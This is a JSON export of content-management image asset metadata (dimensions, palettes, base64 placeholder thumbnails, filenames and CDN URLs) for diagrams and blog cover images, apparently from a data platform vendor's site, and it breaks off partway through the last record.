{"_createdAt":"2024-06-28T12:56:27Z","_id":"image-d343a0f04aea8a62bb2aef0f7d7013e86cb12532-1616x1394-png","_rev":"eksQ0uttcr8BeSzSscnXYB","_type":"sanity.imageAsset","_updatedAt":"2024-06-28T12:56:27Z","assetId":"d343a0f04aea8a62bb2aef0f7d7013e86cb12532","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFLp%M7~-VV?0K13}qKPRj%M00MJIAkp-pHrT{v~xFNH00M_?btRV?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1592539454806312,"height":1394,"width":1616},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFWUlEQVQ4jU2SWVDUBgCGo9JREQU5FS8EB2oVRdSKVaC1WFuoF4cHKNUqFkVRoSOgFqioqAwgh6XirCLSEaSIKNZOGTkUlksu92CvZMPuJptsks3mgM66QDq0L334X76Hf75/5gdyciuAlQEJMxf7HHL2WHbQZZFP3EyfT47MWOYXP3eJX7z7Et/4BYt8DnksXB67wNM7zsNzeayj04IoB2fP6IAlKw7F+/ofO7PU93CCs2dMiIPrnrmAUgnNu5lfHRb7Xe6l/YevZ94qqAnPK6zxDQ37ceeOiIwruyKzCnbHZOfvis7ODwtPvxq4OSl6zcYfVq0MOH7Kf31i66aQs8P+GxJ7vFceydkcmuwNIIjR73Vzb8m9+y9hUcUrpKNTUvOmfXBfSnLp+Stpov6C3MfmwqLfzYUldabL2RXtUQdzTsTEXQ06EH+9aGdUFr07Jlv4NjLTGh2b8+LajapQAMdN60EQbhhWgDYQ1As4TkoQ1HjybWNXQt/LvkFph0yQyzSCQgnbBgaVjXV1zSEVlS/971Y23csva2SLyxqEclGjrbq25W27eCgSIAhiA4qiDSaTycqyjMBznJwh8SRco4k1aZFWs5HgGYtlbHSUN4/x3CMrBq3VDnSu6pcpRb0SJSdTgIJWaxhHUZMYx4kYgKKoDTiONxAEYaVpWuA4Vs6S+BkjqIpG9fqHuBETUyTVzDBMNUtT58zD/T6kvH01hQ2JSFzCUoRBYBhmfHR0tINhmP8KTTj+ryFFUQLHcXKeZc7jesN+rQrKAxWa+wZY/5MJw8JwI7JU39c7CzdCHxsJtQg1qUZNBCJYaFoY5flOi8Wyb2ryGgRBH6KoESEIkmA5rpXnuO8pDN82otQc1UjkpwygNpzCMHfAeQ6gFwQAxnBvOU7lynBKYiAokLZYlBzPP6FpOhyARwzLIC2SCWrRdliHdRgxMs9oxDZqpEPOsLjZE25tXAq963Tt7+ufKS65PE04YD8daXvmppK9/0alUiWjMHiORuAzNGaIxhH9CqD1TbfbsEqfMqwydKo0aO+IznQT0uo+vftLyWwAAKb9P0kAMF1wBuwmIoG5H5L8Am2pgQdsGVuOfkgLirWmrPuMu7DFEXhQUTVfrdGmwiOI3IgROG1huxiGzdTr9Wve9fa6ymUyt96eHpcHDysdxBWFDkz7c3dr5UXfydTAE5Mpaxsn04P6JlMCXgvHF6cK0XYLgdLSUiedTpeOYZieoqhJjuNYjuP+wjAsHUHRcxRFpZEkeVqn030OSiWrDWpNlPl91+nx2pzKifJEYrw8UZgoSzBP3o4tnrwW4QWUlZU54TiWYTZTKE2bp24zxvP8AEmSTRRFDrMsg3IcJ6FpcxYMQlshBRRHaBSXbJKm51ZxFTPWdl+wdjwyT/TUFgudT7yAm7cKnCRS5UWFEjKqNbCghZG/Ia1BqlBA/SoVzENawxRj1Wr4jmxQulUlVQeTWlW8DRTXjg41sJbuxwI/+Mw8rnlTLGjfeQFR+0465uZVnS2+UycpF72g7ooadbdL69ryCmqaSsvqwXJRI3nn12eq20XVeS2vWvZCSuikCdJkWzXiF/xAPUN1/iaw/U8pm6qlSAC7vYBFy4LtNwWf+mJ7RFrGnpisGxF7L/+8ddv5s0Ghyad37EzP2h2TdSMs/ELml9uTI59W1W82QCN7CC14jFd3F1IDf7Rh3fV9zNCfTTZQnCKoxQsBYIbbDDv7IAf7+WFu89y+9nBw+cr9I4dQV7s5IS7288Pcp9hsx23uDk7Bjtey8meNmYyzdZIhD2VXR4j0bUv8cEfLUVzaHf1h5P06QdY65x8722ayqVKnwQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32355e","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f1008","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aeb6c2","foreground":"#000","population":0.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb6c2","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbf692","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7c5e","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c04","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Customer Service Chatbot.png","path":"images/sczeoy4w/production/d343a0f04aea8a62bb2aef0f7d7013e86cb12532-1616x1394.png","sha1hash":"d343a0f04aea8a62bb2aef0f7d7013e86cb12532","size":68299,"uploadId":"NOFZekn8lFTBLxrVBMCKB7Su7YI0cWDO","url":"https://cdn.sanity.io/images/sczeoy4w/production/d343a0f04aea8a62bb2aef0f7d7013e86cb12532-1616x1394.png"} {"_createdAt":"2024-06-13T07:47:31Z","_id":"image-a3e0f70a1cd09b125b719d2fff650bc2fef5f743-1200x628-png","_rev":"rE19qWqXtwbnyVyXlv8kEw","_type":"sanity.imageAsset","_updatedAt":"2024-06-13T07:47:31Z","assetId":"a3e0f70a1cd09b125b719d2fff650bc2fef5f743","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98g?--eMwocIU?wkBM_kCWE4nRjoejcxs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACOElEQVQokT3O6U/acADG8f4LS+hJoRflZoIiIwIKCrMtUH4FLSXMLDFxGBSUoUMOuTpUBo6I7MDtj13wxZLn7TfPB0Ipze0/DURqkfjNzn4nGG1vRtrroY4/0g/F78OJSSg+jUrzbeHJF7qjXS3c0iL4DmFpYpZriGCLW9HPEugBdaRoD+nDB/lwImS+JdITkF/I6g8BLNLqi5x/iSVnb4O61ffV6rtj3AOj7RYimGIoVgeqnivcZwvjjDoG+WnqYCqCR6AtDj8sQWFVyvllMvcsgGdBWe6ll77wjPaMISNT3IrWlLwO1JEIdBGMJOVBVCYCmKZyT7ni71zxj5xfitm5qMyA9lMp/I1KC0/wkfFMIJwuBLcv5YOBpAwSyb78ny1P3suPojJPHfySsosdYRwV7vcz32PJmcuvmx0Ds+MOQinNH6pIma4g9xKpnqSMIom+J9B0bjSd/rZzo+sO6O7AkF+7sXkbrs2uw69Tjg7Bd0j7EIJJ1b1e2t1v7Art8F7z3U7TtlbD2XOUqbyuinN1wnKNshcYe2HkG6S9T9q6BN8i+DZkwLM8p3m9J56NM851SvIljCkhVBmhzmGqbDCXEPocZS4QpooyNYJvkfah0dbFLQ2Mu4IMmMKZsw7bkcV1QnDHBvLYYDpBqDJKVxD6DDaXYKqMMlWUvcS5K6P1dhVb2zh3hbF16A2WhYkcatJQ6gg2fYRNx4j5E0qVsdVVdUWgzzC29or/Qtp7pL1P8Dc4V8e5+j8sT7AMV3n1vAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252550","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dfe6f3","foreground":"#000","population":8.53,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949ac4","foreground":"#000","population":1.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfe6f3","foreground":"#000","population":8.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697097","foreground":"#fff","population":2.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (3).png","path":"images/sczeoy4w/production/a3e0f70a1cd09b125b719d2fff650bc2fef5f743-1200x628.png","sha1hash":"a3e0f70a1cd09b125b719d2fff650bc2fef5f743","size":161000,"uploadId":"TdlSNaBVnYuMlLowZUz2GiyKGkMOVW4p","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3e0f70a1cd09b125b719d2fff650bc2fef5f743-1200x628.png"} {"_createdAt":"2024-09-20T17:26:58Z","_id":"image-6d6045413ef85c1b6d9171e8ca7153b145b9685d-1200x628-png","_rev":"qobFP6o3d5Cfo6v5htbxNn","_type":"sanity.imageAsset","_updatedAt":"2024-09-20T17:26:58Z","assetId":"6d6045413ef85c1b6d9171e8ca7153b145b9685d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN+p*aV=-TZ5~Wk:ibiziyY,Zibvbagh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB5UlEQVQokR2Qe09ScQCGT6jdDP+onCynKyBABAmCuByIQzrXB2hWstIJNXOpOS+JCXI5BMhRbqI0v+vvaT+2999nz7NXESv3xMYUWza27ew5OfZy4uPYRc5Fzk7OSsGF7qXu4dzNhYemi6aDSw/d14r4PC5+OshFOVUpxNA1aovoKn9V6glqUZoJuotcafQidEIYburPaVhp2hWxahZ7XgoaxRSlJBWNskoxSFXFWKQRpxGlrXGzzO17bpfpx2g6qU5TmRzCv+YpJCVc1ijFOQtJWI9Si0tzPcxlQsKDJQYpbpK0/dKsW4bZO3Pk31JKUXlHOUExSiVGOUh+nrKfRoSWRn+JTph2gF6IXpCWl3ObIj49Ejtu/qjk4zJb1zgNsG9j18LuYw4snMyKMxsNDxcLtF7RWqDto+PDcCji40O27Bz6OfJzGqGUYN9J1kz2Lttmjp7y+4lcaQbDQyeAMYfhlOaWVxEr90Xmmdh6IX7Mis1pNi1kJlgfJTvGwSQVO7qN4gxVKy2fDDZc8rCun+vwEN6wiO8z4tuUWBsnPcoXE2t3JHw4SWNe1tZeUndKbf/N0OnjOsJAVcSHUVm+Ok76Aekx0iN8NbFuIjPC7oSoOoSxIKpWCfdC3MS4CtEPM1D5F/8PfVdKVYvn6MkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a400e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf6016","foreground":"#fff","population":0.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#915907","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c478","foreground":"#000","population":0.43,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cost Effective Data Retention with Aiven for ClickHouse Tiered Storage.png","path":"images/sczeoy4w/production/6d6045413ef85c1b6d9171e8ca7153b145b9685d-1200x628.png","sha1hash":"6d6045413ef85c1b6d9171e8ca7153b145b9685d","size":181135,"uploadId":"TrF7DnEU3q2o7Y4lGgzABfAcEe54KFlU","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d6045413ef85c1b6d9171e8ca7153b145b9685d-1200x628.png"} {"_createdAt":"2024-06-13T08:27:06Z","_id":"image-774e96c9eb11413fb5356a2c435c21e4ca2acf4d-1200x628-png","_rev":"rE19qWqXtwbnyVyXlvhmfK","_type":"sanity.imageAsset","_updatedAt":"2024-06-13T08:27:06Z","assetId":"774e96c9eb11413fb5356a2c435c21e4ca2acf4d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98qag%BMws.IT_4bEM_ogRk8_Rjofj]t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACO0lEQVQokT3Oa0/aYACG4f6FJfRIoScq5+gUkYid6GC0FcrbVksZM0tIGAYVZegAQQ4SJqw4o4FsYLLfavDDkufrneeCUMoMhE7CQlWIN3aT7UistSm01qPtkNCLxu93ElY0PonJz0LyKbJnbe2NgltDh/cWczVw1zVEsPnt2HcZdIExVM1R+mikHFli5lcibYHsVDFmIpimjUXaWBzoM1mfCskn3+aI9vdJ9y1EMPnoXg0YAz13r+XGGWMMspPU4UQCD8CcHn2Zg9xCyS4UY64YM+3zPGP+iyvz99FHOjiG7Ex+O1ZVswNgDCUwkMBQVkeSaolgktKf9PxfPf+iZOeS9iypjyA7U3MvMXkajDwwQQvC6Vzkw6Vy2JfVfuKgp/xnK9Yn5UFSn1OHf2RtuiuOY+J9MvN7/+DRHxo4vX2n9yeEUmYoei5nOqLSTaS6sjoUEr1guOnbaPpCLd9GJxAeBMJ3/GrDvVb3b3a8oQHlbRN8m/TcQTBpBNZL+8n6vtja+djc2m26V6s4e4Yy52+r4FyNcF2j7AXGXtj5Ounpke4Owd8QfAuy4RrPmWtrxeDGKec/IfkSxpQQqoxQZzBVtjlLCH2GMhcIU0GZKsHfkJ47u7uDu+oYdwXZMJVzal73sctfJLiCjSzYHEWEKqP0OUKfws4STJVRpoKylzh3ZV+5XcYrLZy7wtga9A7TYEJHHSZKHcOOr7CjgDi/oVQZW15VlgT6FGOrb/gfpKdLenoE38C5Gs7VXgHfL7Fjr8i3cgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252550","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e6f3","foreground":"#000","population":8.74,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#949ac4","foreground":"#000","population":1.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e6f3","foreground":"#000","population":8.74,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f97","foreground":"#fff","population":2.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (4).png","path":"images/sczeoy4w/production/774e96c9eb11413fb5356a2c435c21e4ca2acf4d-1200x628.png","sha1hash":"774e96c9eb11413fb5356a2c435c21e4ca2acf4d","size":161351,"uploadId":"GRjmvPALV9Ybe3vLbhVk5KvgwVhUBkRe","url":"https://cdn.sanity.io/images/sczeoy4w/production/774e96c9eb11413fb5356a2c435c21e4ca2acf4d-1200x628.png"} {"_createdAt":"2024-09-04T10:55:19Z","_id":"image-818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394-png","_rev":"t8DYBEKn49O4mjbyR8IbPI","_type":"sanity.imageAsset","_updatedAt":"2024-09-04T10:55:19Z","assetId":"818eb2dad5eb6d37cba3d97df6d84950b52acc76","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCH.7_00ySiwObf-M{IUjaxu00t64Tbb?H?I%Lk9WVWE00~W_3S~9F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2166427546628407,"height":1394,"width":1696},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE8klEQVQ4jW2RaVATdwDF/yCoeBUPkCAIQrABpYlRS4tYKoKaVFEER4KBEhFFtKISWxQBLfawUopHnVokJlJEDLaO1k5FpK0kgEgISA5Cjs0Scm2STTYHgRl1O4yferyZN+/bm/fmBxZHMEBUbD4IJ+aCBaFZYFFYNggj5oPAxVsDYimF9NWJR7gJ6492rE0qaY9fc7Au8u3c1cCXOi1+zQH/mJV754XHMOcvjsgODI3KCaAkHPQB8wkMMHvhDgD80gAASQAAAgiLKQCLltADktPY6Tuzz/EZH1/o3513vi896ywnZQs7MSQ8LYD6fnHc2qQj+0jkfeWEyJxjCwhZKf5zUueA2FUHfJbHF/gRIhnT5wZlzAiN2uMPQKJP4nrmjLrv76fe5nfdvsvvHmpt6Rri333Wyr/XTcsvqJz/UcYpWlZOdeu2nZWSVHqZMJX+2an0TPZSEByeNXcFdX9CLKVwV+iynOzAkMwN/nO2BOUxiqcPyk2bNApbm6pT5VA8GXYpJZYBhcpaeOc6L7ThR35Gc8vjx813noy1tP6huv+rkPOkQ5gMokiMyMQPj1as31j6JyWhuJu4gnU5LDqbmrk9f6ZcbaONqhxC6Knytap9GNfIbLBaaWKLb14iQoN9ewx6Q6/FYnXZ7Q6nw4E91el0+aDo8HlSeVXDxcrPuYryqhtwxVnug5pvm7bWnD0X2NYhoQm7IYGgY/hlZ7scFwjUWkF736d9F0+TjPJ+ls2CSDAMw71eLz4xMTFoMpkOAYGw9x2pVMkZVkB6pWrUDsMGiV6rZf/Oubq0YH8N7XgZV1hW2fTqZNUtvPQkV1tyuJbNO34oxjgylGtBzP12u33S4/FMjo+PPzcajUVArVZRbTYrH0VRj8PhwF1Op9WFGGq6Od+R4lfsTk7ccLwpbWv50KZtp2XrUkofrSSzckt25S8xqOQZiNn8G4qiKqfTOeX7MAznAKVSSTWbzXwEQcYtFguOoqjNYRitfXHjm7iSvadWnazglVVWNV6rqLhZf6KsoXrvvq+TvzpyNAhWSNPNJtM9FEVlGIZNXb+j0WgywcjICNVoNLYiCDKBoujUQrvTNFYrvXUp9nmXeN2IzHpt+JFSoPhF0qXs1bVI+4eznl+pjNDLB5hWBHnmcDhcbrfb6fF4BHq9vgDI5XKKyWRqtNlsFpfL7fGOj486LaYvRK1cokQ2tkUttT+VNUsm5dd6X0ICnVIj0ZTK6qtJRrmYZUUQqd1uxz0ezxSYN1B6enoidTpdkcViuYJhWL0Tw2pN+rHMB02NIb1imCYWGYXdP8te9TS/wAc6Ye2gSMUW8+qIOpk412jQ91ut1km32z3p9XrfQOHxeDMHBgZC1Gp1FAzDRAiClolEooXsE2dm/dDQRuM0dgo53M7XXJ4Av9HYqa3ntB27VVsXpnoh2jgKw1fNZvNDp9P50OVyXYYgaBvAcfx/HRaZ7L85vXxzJuPLDmZBrTuvsG5iF/O8nL6j4jCdXrxQ1PNXkFQiXQ1BUJJer0/SarWrBALBkv8UuTxvctY8sl90HJNCfrfoTMIHJT+990FJMyXh4MXouDzavOBNs6/3rAFFn5RNq66u9mWz2b4sFss3JSXFB/xbweHbASDhwNcvyJcQsTkwOjY7Znk8kxyzkkmOIu2OIyylB899i+wHwHZQd6EFYBj2j0F/A0+k2nUhwXw1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58352b","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54120d","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#656a97","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0d1","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e490b6","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a97","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e94588","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-event-driven-architecture.png","path":"images/sczeoy4w/production/818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394.png","sha1hash":"818eb2dad5eb6d37cba3d97df6d84950b52acc76","size":55402,"uploadId":"8Yvjfi5YbHtRiEGfeEvEbQJezykMP30p","url":"https://cdn.sanity.io/images/sczeoy4w/production/818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394.png"} {"_createdAt":"2024-09-04T10:55:54Z","_id":"image-df62a7e4ead5f03dfaec9c8b07f1096bb32c0330-1616x1506-png","_rev":"t8DYBEKn49O4mjbyR8IjGO","_type":"sanity.imageAsset","_updatedAt":"2024-09-04T10:55:54Z","assetId":"df62a7e4ead5f03dfaec9c8b07f1096bb32c0330","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAIhEftPC6t.00ET?Z-oR:IUln00H?x^?a00%%X8vzoz00I[aLrq-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0730411686586985,"height":1506,"width":1616},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33375d","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69321b","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#656a92","foreground":"#fff","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0ca","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e28db5","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a92","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c82d","foreground":"#000","population":0.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-real-time-analytics.png","path":"images/sczeoy4w/production/df62a7e4ead5f03dfaec9c8b07f1096bb32c0330-1616x1506.png","sha1hash":"df62a7e4ead5f03dfaec9c8b07f1096bb32c0330","size":62215,"uploadId":"eVAtaF6KGqN3uei5QX6NwR4GXtEzDz4H","url":"https://cdn.sanity.io/images/sczeoy4w/production/df62a7e4ead5f03dfaec9c8b07f1096bb32c0330-1616x1506.png"} {"_createdAt":"2024-09-04T10:56:19Z","_id":"image-4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c-1616x1090-png","_rev":"4gmBGwifQuSypgRenTbhvZ","_type":"sanity.imageAsset","_updatedAt":"2024-09-04T10:56:19Z","assetId":"4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VMI5AAIU_May9w9aWBM{ayxa00odR6ofxB-pt7xukBNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4825688073394496,"height":1090,"width":1616},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEJklEQVQ4jWWQW0xadwDG/00arU3c7IwXLG3FG3aKrop21sts6lScc7QE6dSh4oagdM7uktq0ulTUNmq1nevsprPrGi8vbs6qULvOeQG8BBU4AiJCsQgiyOVwUB/0LHZ72y/5PX3Jly8fACAZABAFgNsFEIjPBwQiGyS9fwcc9UoGeYVccKe5D3T3/QV+/oUPJqfEIPYcBwTgcg9Hx7FwUXFsEi688LIPlkbzDqCe9w6g+IOQSAaGQGSfCTpdlOR9PDfBy58S7HeC6o7FUQ/ho0qORceXhb5ztjySQGRFhBFKcNjgPA9vzAce8Umc9OQLXz6MTeCMhEYynp4ILWjwwVJiAJ5QnB2fdOVeRAzzD79Tl7s9fcilbm9k+nkcS3MPjy5JjUv6/Pa7KRWPCURWVyCefu0tzCU8Noh0NItcdZ6aV9tM+bi2N/tSdXd6dlV1WtZXZ0DWxetMWmEDn1pQp80i34BIOVVNBfRqPJFI8TyXWkHNIt8czKbUSFPSv1mIPlvWGfJ2QXwNq9RzZPBZytjfs3UCkaRrZm6pSzyvrIWW1Gmgo2e08lH/1Phvw6JX/NEZzfiEuF8snM7s5HJ9W77rJ//UMdrT0TY89UPzwMT3bUMd7e2/p47fr/bXQfMFxnX9mMVieQXD8LrL5RIiiPNr8GJB9e2f0JpcrtvYNZstO3arVbqpVTHnnjzAQXI9XTlvmlrqlRiVT8RG9ey6QCHXFy08ag7WQ+JSk9Gg2NqyogiCoDs7Oy8RBGk